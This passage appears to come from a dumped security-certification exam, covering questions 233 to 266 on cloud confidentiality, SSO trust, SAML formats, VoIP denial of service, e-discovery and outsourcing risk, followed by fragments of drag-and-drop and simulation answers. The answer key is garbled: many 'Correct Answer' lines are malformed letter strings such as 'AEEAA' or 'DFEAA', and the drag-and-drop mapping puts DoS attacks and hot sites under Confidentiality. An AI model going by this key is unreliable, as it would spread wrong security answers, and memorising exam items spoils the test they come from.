Explanation/Reference:

QUESTION 233
A company runs large computing jobs only during the overnight hours. To minimize the amount of capital investment in equipment, the company relies on the elastic computing services of a major cloud computing vendor. Because the virtual resources are created and destroyed on the fly across a large pool of shared resources, the company never knows which specific hardware platforms will be used from night to night. Which of the following presents the MOST risk to confidentiality in this scenario?

A. Loss of physical control of the servers
B. Distribution of the job to multiple data centers
C. Network transmission of cryptographic keys
D. Data scraped from the hardware platforms

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 234
A business wants to start using social media to promote the corporation and to ensure that customers have a good experience with their products. Which of the following security items should the company have in place before implementation? (Select TWO).

A. The company must dedicate specific staff to act as social media representatives of the company.
B. All staff needs to be instructed in the proper use of social media in the work environment.
C. Senior staff blogs should be ghost written by marketing professionals.
D. The finance department must provide a cost benefit analysis for social media.
E. The security policy needs to be reviewed to ensure that social media policy is properly implemented.
F. The company should ensure that the company has sufficient bandwidth to allow for social media traffic.

Correct Answer: AEEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 235
An administrator at a small company replaces servers whenever budget money becomes available. Over the past several years the company has acquired and still uses 20 servers and 50 desktops from five different

computer manufacturers. Which of the following are management challenges and risks associated with this style of technology lifecycle management?

A. Decreased security posture, decommission of outdated hardware, inability to centrally manage, and performance bottlenecks on old hardware.
B. Increased mean time to failure rate of legacy servers, OS variances, patch availability, and ability to restore to dissimilar hardware.
C. OS end-of-support issues, ability to backup data, hardware parts availability, and firmware update availability and management.
D. Inability to use virtualization, trusted OS complexities, and multiple patch versions based on OS dependency.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 236
A Physical Security Manager is ready to replace all 50 analog surveillance cameras with IP cameras with built-in web management. The Security Manager has several security guard desks on different networks that must be able to view the cameras without unauthorized people viewing the video as well. The selected IP camera vendor does not have the ability to authenticate users at the camera level. Which of the following should the Security Manager suggest to BEST secure this environment?

A. Create an IP camera network and deploy NIPS to prevent unauthorized access.
B. Create an IP camera network and only allow SSL access to the cameras.
C. Create an IP camera network and deploy a proxy to authenticate users prior to accessing the cameras.
D. Create an IP camera network and restrict access to cameras from a single management host.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 237
In single sign-on, the secondary domain needs to trust the primary domain to do which of the following? (Select TWO).

A. Correctly assert the identity and authorization credentials of the end user.
B. Correctly assert the authentication and authorization credentials of the end user.
C. Protect the authentication credentials used to verify the end user identity to the secondary domain for unauthorized use.
D. Protect the authentication credentials used to verify the end user identity to the secondary domain for authorized use.
E. Protect the accounting credentials used to verify the end user identity to the secondary domain for unauthorized use.
F. Correctly assert the identity and authentication credentials of the end user.

Correct Answer: DFEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 238
A corporation has Research and Development (R&D) and IT support teams, each requiring separate networks with independent control of their security boundaries to support department objectives. The corporation's Information Security Officer (ISO) is responsible for providing firewall services to both departments, but does not want to increase the hardware footprint within the datacenter. Which of the following should the ISO consider to provide the independent functionality required by each department's IT teams?

A. Put both departments behind the firewall and assign administrative control for each department to the corporate firewall.
B. Provide each department with a virtual firewall and assign administrative control to the physical firewall.
C. Put both departments behind the firewall and incorporate restrictive controls on each department's network.
D. Provide each department with a virtual firewall and assign appropriate levels of management for the virtual device.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 239
A manager who was attending an all-day training session was overdue entering bonus and payroll information for subordinates. The manager felt the best way to get the changes entered while in training was to log into the payroll system, and then activate desktop sharing with a trusted subordinate. The manager granted the subordinate control of the desktop thereby giving the subordinate full access to the payroll system. The subordinate did not have authorization to be in the payroll system. Another employee reported the incident to the security team. Which of the following would be the MOST appropriate method for dealing with this issue going forward?

A. Provide targeted security awareness training and impose termination for repeat violators.
B. Block desktop sharing and web conferencing applications and enable use only with approval.
C. Actively monitor the data traffic for each employee using desktop sharing or web conferencing applications.
D. Permanently block desktop sharing and web conferencing applications and do not allow its use at the company.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 240
After connecting to a secure payment server at https://pay.xyz.com, an auditor notices that the SSL certificate was issued to *.xyz.com. The auditor also notices that many of the internal development servers use the same certificate. After installing the certificate on dev1.xyz.com, one of the developers reports misplacing the USB thumb-drive where the SSL certificate was stored. Which of the following should the auditor recommend FIRST?

A. Generate a new public key on both servers.
B. Replace the SSL certificate on dev1.xyz.com.
C. Generate a new private key password for both servers.

D. Replace the SSL certificate on pay.xyz.com.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 241
A morphed worm carrying a 0-day payload has infiltrated the company network and is now spreading across the organization. The security administrator was able to isolate the worm communication and payload distribution channel to TCP port 445. Which of the following can the administrator do in the short term to minimize the attack?

A. Deploy the following ACL to the HIPS: DENY - TCP - ANY - ANY – 445.
B. Run a TCP 445 port scan across the organization and patch hosts with open ports.
C. Add the following ACL to the corporate firewall: DENY - TCP - ANY - ANY - 445.
D. Force a signature update and full system scan from the enterprise anti-virus solution.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 242
A security administrator wants to verify and improve the security of a business process which is tied to proven company workflow. The security administrator was able to improve security by applying controls that were defined by the newly released company security standard. Such controls included code improvement, transport encryption, and interface restrictions. Which of the following can the security administrator do to further increase security after having exhausted all the technical controls dictated by the company's security standard?

A. Modify the company standard to account for higher security and meet with upper management for approval to implement the new standard.
B. Conduct a gap analysis and recommend appropriate non-technical mitigating controls, and incorporate the new controls into the standard.
C. Conduct a risk analysis on all current controls, and recommend appropriate mechanisms to increase overall security.
D. Modify the company policy to account for higher security, adapt the standard accordingly, and implement new technical controls.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 243
A company receives an e-discovery request for the Chief Information Officer's (CIO's) email data. The storage administrator reports that the data retention policy relevant to their industry only requires one year of email data. However the storage administrator also reports that there are three years of email data on the server and five years of email data on backup tapes. How many years of data MUST the company legally provide?

A. 1

B. 2
C. 3
D. 5

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 244
The VoIP administrator starts receiving reports that users are having problems placing phone calls. The VoIP administrator cannot determine the issue, and asks the security administrator for help. The security administrator reviews the switch interfaces and does not see an excessive amount of network traffic on the voice network. Using a protocol analyzer, the security administrator does see an excessive number of SIP INVITE packets destined for the SIP proxy. Based on the information given, which of the following types of attacks is underway and how can it be remediated?

A. Man in the middle attack; install an IPS in front of SIP proxy.
B. Man in the middle attack; use 802.1x to secure voice VLAN.
C. Denial of Service; switch to more secure H.323 protocol.
D. Denial of Service; use rate limiting to limit traffic.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 245
The Chief Information Security Officer (CISO) of a small bank wants to embed a monthly testing regiment into the security management plan specifically for the development area. The CISO's requirements are that testing must have a low risk of impacting system stability, can be scripted, and is very thorough. The development team claims that this will lead to a higher degree of test script maintenance and that it would be preferable if the testing was outsourced to a third party. The CISO still maintains that third-party testing would not be as thorough as the third party lacks the introspection of the development team. Which of the following will satisfy the CISO requirements?

A. Grey box testing performed by a major external consulting firm who have signed a NDA.
B. Black box testing performed by a major external consulting firm who have signed a NDA.
C. White box testing performed by the development and security assurance teams.
D. Grey box testing performed by the development and security assurance teams.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 246
A large corporation which is heavily reliant on IT platforms and systems is in financial difficulty and needs to drastically reduce costs in the short term to survive. The Chief Financial Officer (CFO) has mandated that all IT and architectural functions will be outsourced and a mixture of providers will be selected. One provider will

manage the desktops for five years, another provider will manage the network for ten years, another provider will be responsible for security for four years, and an offshore provider will perform day to day business processing functions for two years. At the end of each contract the incumbent may be renewed or a new provider may be selected. Which of the following are the MOST likely risk implications of the CFO's business decision?

A. Strategic architecture will be adversely impacted through the segregation of duties between the providers. Vendor management costs will remain unchanged. The risk position of the organization will decline as specialists now maintain the environment. The implementation of security controls and security updates will improve. Internal knowledge of IT systems will improve as providers maintain system documentation.
B. Strategic architecture will improve as more time can be dedicated to strategy. System stability will improve as providers use specialists and tested processes to maintain systems. Vendor management costs will increase and the organization's flexibility to react to new market conditions will be reduced slightly. Internal knowledge of IT systems will improve as providers maintain system documentation. The risk position of the organization will remain unchanged.
C. Strategic architecture will not be impacted in the short term, but will be adversely impacted in the long term through the segregation of duties between the providers. Vendor management costs will stay the same and the organization's flexibility to react to new market conditions will be improved through best of breed technology implementations. Internal knowledge of IT systems will decline over time. The implementation of security controls and security updates will not change.
D. Strategic architecture will be adversely impacted through the segregation of duties between the providers. Vendor management costs will increase and the organization's flexibility to react to new market conditions will be reduced. Internal knowledge of IT systems will decline and decrease future platform development. The implementation of security controls and security updates will take longer as responsibility crosses multiple boundaries.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 247
A small customer focused bank with implemented least privilege principles, is concerned about the possibility of branch staff unintentionally aiding fraud in their day to day interactions with customers. Bank staff has been encouraged to build friendships with customers to make the banking experience feel more personal. The security and risk team have decided that a policy needs to be implemented across all branches to address the risk. Which of the following BEST addresses the security and risk team's concerns?

A. Information disclosure policy
B. Awareness training
C. Job rotation
D. Separation of duties

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 248
A hosting company provides inexpensive guest virtual machines to low-margin customers. Customers manage their own guest virtual machines. Some customers want basic guarantees of logical separation from other customers and it has been indicated that some customers would like to have configuration control of this separation; whereas others want this provided as a value-added service by the hosting company. Which of the following BEST meets these requirements?

A. The hosting company should install a hypervisor-based firewall and allow customers to manage this on an as-needed basis.

B. The hosting company should manage the hypervisor-based firewall; while allowing customers to configure their own host-based firewall.

C. Customers should purchase physical firewalls to protect their guest hosts and have the hosting company manage these if requested.

D. The hosting company should install a host-based firewall on customer guest hosts and offer to administer host firewalls for customers if requested.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 249
A financial company implements end-to-end encryption via SSL in the DMZ, and only IPSec in transport mode with AH enabled and ESP disabled throughout the internal network. The company has hired a security consultant to analyze the network infrastructure and provide a solution for intrusion prevention. Which of the following recommendations should the consultant provide to the security administrator?

A. Switch to TLS in the DMZ. Implement NIPS on the internal network, and HIPS on the DMZ.

B. Switch IPSec to tunnel mode. Implement HIPS on the internal network, and NIPS on the DMZ.

C. Disable AH. Enable ESP on the internal network, and use NIPS on both networks.

D. Enable ESP on the internal network, and place NIPS on both networks.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 250
A developer is coding the crypto routine of an application that will be installed on a standard headless and diskless server connected to a NAS housed in the datacenter. The developer has written the following six lines of code to add entropy to the routine:
1 - If VIDEO input exists, use video data for entropy
2 - If AUDIO input exists, use audio data for entropy
3 - If MOUSE input exists, use mouse data for entropy
4 - IF KEYBOARD input exists, use keyboard data for entropy
5 - IF IDE input exists, use IDE data for entropy 6 - IF NETWORK input exists, use network data for entropy
Which of the following lines of code will result in the STRONGEST seed when combined?

A. 2 and 1

B. 3 and 5

C. 5 and 2

D. 6 and 4

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 251
After three vendors submit their requested documentation, the CPO and the SPM can better understand what each vendor does and what solutions that they can provide. But now they want to see the intricacies of how these solutions can adequately match the requirements needed by the firm. Upon the directive of the CPO, the CISO should submit which of the following to the three submitting firms?

A. A T&M contract
B. An RFP
C. A FFP agreement
D. A new RFQ

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 252
The <nameID> element in SAML can be provided in which of the following predefined formats? (Select TWO).

A. X.509 subject name
B. PTR DNS record
C. EV certificate OID extension
D. Kerberos principal name
E. WWN record name

Correct Answer: ADEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 253
A corporation has expanded for the first time by integrating several newly acquired businesses. Which of the following are the FIRST tasks that the security team should undertake? (Select TWO).

A. Remove acquired companies Internet access.
B. Federate identity management systems.
C. Install firewalls between the businesses.
D. Re-image all end user computers to a standard image.
E. Develop interconnection policy.
F. Conduct a risk analysis of each acquired company’s networks.

Correct Answer: EFEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 254

New zero-day attacks are announced on a regular basis against a broad range of technology systems. Which of the following best practices should a security manager do to manage the risks of these attack vectors? (Select TWO).

A. Establish an emergency response call tree.
B. Create an inventory of applications.
C. Backup the router and firewall configurations.
D. Maintain a list of critical systems.
E. Update all network diagrams.

Correct Answer: BDEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 255
A WAF without customization will protect the infrastructure from which of the following attack combinations?

A. DDoS, DNS poisoning, Boink, Teardrop
B. Reflective XSS, HTTP exhaustion, Teardrop
C. SQL Injection, DOM based XSS, HTTP exhaustion
D. SQL Injection, CSRF, Clickjacking

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 256
Company ABC is planning to outsource its Customer Relationship Management system (CRM) and marketing / leads management to Company XYZ.
Which of the following is the MOST important to be considered before going ahead with the service?

A. Internal auditors have approved the outsourcing arrangement.
B. Penetration testing can be performed on the externally facing web system.
C. Ensure there are security controls within the contract and the right to audit.
D. A physical site audit is performed on Company XYZ’s management / operation.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 257
The Linux server at Company A hosts a graphical application widely used by the company designers. One designer regularly connects to the server from a Mac laptop in the designer’s office down the hall. When the security engineer learns of this it is discovered the connection is not secured and the password can easily be obtained via network sniffing. Which of the following would the security engineer MOST likely implement to secure this connection?
Linux Server: 192.168.10.10/24

Mac Laptop: 192.168.10.200/24

A. From the server, establish an SSH tunnel to the Mac and VPN to 192.168.10.200.
B. From the Mac, establish a remote desktop connection to 192.168.10.10 using Network Layer Authentication and the CredSSP security provider.
C. From the Mac, establish a VPN to the Linux server and connect the VNC to 127.0.0.1.
D. From the Mac, establish a SSH tunnel to the Linux server and connect the VNC to 127.0.0.1.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 258
A data breach has occurred at Company A and as a result, the Chief Information Officer (CIO) has resigned. The CIO's laptop, cell phone and PC were all wiped of data per company policy. A month later, prosecutors in litigation with Company A suspect the CIO knew about the data breach long before it was discovered and have issued a subpoena requesting all the CIO's email from the last 12 months. The corporate retention policy recommends keeping data for no longer than 90 days. Which of the following should occur?

A. Restore the CIO's email from an email server backup and provide the last 90 days from the date of the subpoena request.
B. Inform the litigators that the CIOs information has been deleted as per corporate policy.
C. Restore the CIO's email from an email server backup and provide the last 90 days from the date of the CIO resignation.
D. Restore the CIO's email from an email server backup and provide whatever is available up to the last 12 months from the subpoena date.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 259
A security administrator at a Lab Company is required to implement a solution which will provide the highest level of confidentiality possible to all data on the lab network. The current infrastructure design includes:
-Two-factor token and biometric based authentication for all users -Attributable administrator accounts -Logging of all transactions -Full disk encryption of all HDDs -Finely granular access controls to all resources -Full virtualization of all servers -The use of LUN masking to segregate SAN data -Port security on all switches
The network is protected with a firewall implementing ACLs, a NIPS device, and secured wireless access points.
Which of the following cryptographic improvements should be made to the current architecture to achieve the stated goals?

A. PKI based authorization
B. Transport encryption
C. Data at rest encryption
D. Code signing

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 260
A data processing server uses a Linux based file system to remotely mount physical disks on a shared SAN. The server administrator reports problems related to processing of files where the file appears to be incompletely written to the disk. The network administration team has conducted a thorough review of all network infrastructure and devices and found everything running at optimal performance. Other SAN customers are unaffected. The data being processed consists of millions of small files being written to disk from a network source one file at a time. These files are then accessed by a local Java program for processing before being transferred over the network to a SELinux host for processing. Which of the following is the MOST likely cause of the processing problem?

A. The administrator has a PERL script running which disrupts the NIC by restarting the CRON process every 65 seconds.
B. The Java developers accounted for network latency only for the read portion of the processing and not the write process.
C. The virtual file system on the SAN is experiencing a race condition between the reads and writes of network files.
D. The Linux file system in use cannot write files as fast as they can be read by the Java program resulting in the errors.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 261
Company ABC was formed by combining numerous companies which all had multiple databases, web portals, and cloud data sets. Each data store had a unique set of custom developed authentication mechanisms and schemas. Which of the following approaches to combining the disparate mechanisms has the LOWEST up front development costs?

A. Attestation
B. PKI
C. Biometrics
D. Federated IDs

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 262
A security researcher is about to evaluate a new secure VoIP routing appliance. The appliance manufacturer claims the new device is hardened against all known attacks and several undisclosed zero day exploits. The code base used for the device is a combination of compiled C and TC/TKL scripts. Which of the following methods should the security research use to enumerate the ports and protocols in use by the appliance?

A. Device fingerprinting
B. Switchport analyzer
C. Grey box testing

D. Penetration testing

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 263
Customer Need:
“We need the system to produce a series of numbers with no discernible mathematical progression for use by our Java based, PKI-enabled, customer facing website.”
Which of the following BEST restates the customer need?

A. The system shall use a pseudo-random number generator seeded the same every time.
B. The system shall generate a pseudo-random number upon invocation by the existing Java program.
C. The system shall generate a truly random number based upon user PKI certificates.
D. The system shall implement a pseudo-random number generator for use by corporate customers.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 264
A security engineer is implementing a new solution designed to process e-business transactions and record them in a corporate audit database. The project has multiple technical stakeholders. The database team controls the physical database resources, the internal audit division controls the audit records in the database, the web hosting team is responsible for implementing the website front end and shopping cart application, and the accounting department is responsible for processing the transaction and interfacing with the payment processor. As the solution owner, the security engineer is responsible for ensuring which of the following?

A. Ensure the process functions in a secure manner from customer input to audit review.
B. Security solutions result in zero additional processing latency.
C. Ensure the process of storing audit records is in compliance with applicable laws.
D. Web transactions are conducted in a secure network channel.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 265
A large financial company has a team of security-focused architects and designers that contribute into broader IT architecture and design solutions. Concerns have been raised due to the security contributions having varying levels of quality and consistency. It has been agreed that a more formalized methodology is needed that can take business drivers, capabilities, baselines, and reusable patterns into account. Which of the following would BEST help to achieve these objectives?

A. Construct a library of re-usable security patterns
B. Construct a security control library

C. Introduce an ESA framework
D. Include SRTM in the SDLC

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 266
A University uses a card transaction system that allows students to purchase goods using their student ID. Students can put money on their ID at terminals throughout the campus. The security administrator was notified that computer science students have been using the network to illegally put money on their cards. The administrator would like to attempt to reproduce what the students are doing. Which of the following is the BEST course of action?

A. Notify the transaction system vendor of the security vulnerability that was discovered.
B. Use a protocol analyzer to reverse engineer the transaction system's protocol.
C. Contact the computer science students and threaten disciplinary action if they continue their actions.
D. Install a NIDS in front of all the transaction system terminals.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Q202 DRAG DROP
Drag and Drop the following information types on to the appropriate CIA category
Availability; Confidentiality; Integrity
Answer:
Explanation:
Availability - load balancing , RAID-1 , Data classifications Integrity - Digital Signature , Encryption , checksums , hashes Confidentiality - Dos Attacks , hot site , access control lists , steganography

Q203 CORRECT TEXT
Answer: You need to check the hash value of download software with md5 utility.

Q204 CORRECT TEXT
Answer: 192.18.1.0/24 any 192.168.20.0/24 3389 any

Q205 CORRECT TEXT
Answer: Follow the Steps as 1) Click on the server and find the SQL Server then Note the ip address of the server 2)click on the host machine and find the attacker then note the ip adddress of the host 3)check the host machine ip address in router ac source field and SQL Server ip in destination field and check the deny and unchek the permit

Q206 CORRECT TEXT
Answer: Following steps need to do as 8 then 2 replace 6 with 3, 7,11 same segment replace 2 with 1 , put 6 same segment replace 9 with 10 replace 3 with 5 replace 1 with 4